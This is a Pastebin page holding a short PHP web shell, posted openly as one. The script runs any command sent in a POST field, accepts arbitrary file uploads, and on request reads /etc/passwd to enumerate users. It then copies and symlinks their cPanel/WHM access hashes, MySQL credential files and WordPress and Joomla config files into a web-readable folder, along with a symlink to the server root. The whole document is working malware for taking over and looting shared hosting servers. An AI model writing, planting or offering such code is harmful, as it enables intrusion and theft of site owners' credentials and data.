Advertisement
AZZATSSINS_CYBERSERK

Simple POST web shell

Mar 17th, 2017
415
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.35 KB | None | 0 0
  1. <?php
  2. ini_set('display_errors',0);
  3. echo "<!-- SIMPLE POST SHELL BY AZZATSSINS --!>";
  4. system($_POST['cmd']);
  5. if(isset($_FILES['upload']['name'])){
  6. $name = $_FILES['upload']['name'];
  7. $azx = $_FILES['upload']['tmp_name'];
  8. @move_uploaded_file($azx, $name); echo"<center><a href='{$name}'>SUCCESS</a>";}
  9.  
  10. if($_POST['config']){
  11. rmdir('azx');
  12. mkdir('azx', 0755);
  13. file_put_contents("azx/.htaccess","Options Indexes FollowSymLinks \nDirectoryIndex x \nAddType txt .php \nAddHandler txt .php",FILE_APPEND);
  14. $a=file_get_contents('/etc/passwd');
  15. preg_match_all('/(.*?):x:/', $a, $an);
  16. foreach($an[1] as $uz){
  17.  
  18. $pt='/home/'.$uz.'/public_html';
  19. $sv='azx/'.$uz;
  20. symlink('/','azx/root');
  21. copy('/home/'.$uz.'/.accesshash',$sv.'-whm.txt');
  22. symlink('/home/'.$uz.'/.accesshash',$sv.'-whm.txt');
  23. copy('/home/'.$uz.'/.my.cnf',$sv.'-cp.txt');
  24. symlink('/home/'.$uz.'/.my.cnf',$sv.'-cp.txt');
  25. copy($pt.'/wp-config.php',$sv.'-wp.txt');
  26. symlink($pt.'/wp-config.php',$sv.'-wp.txt');
  27. copy($pt.'/configuration.php',$sv.'-jml.txt');
  28. symlink($pt.'/configuration.php',$sv.'-jml.txt');
  29. symlink($pt.'/config.inc.php',$sv.'-oth.txt');
  30. symlink($pt.'/config.php',$sv.'-oth.txt');
  31. symlink($pt.'/conn.php',$sv.'-oth.txt');
  32. symlink($pt.'/connection.php',$sv.'-oth.txt');
  33. echo'<meta http-equiv="Refresh" content= "0; url=azx">';
  34. }
  35. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement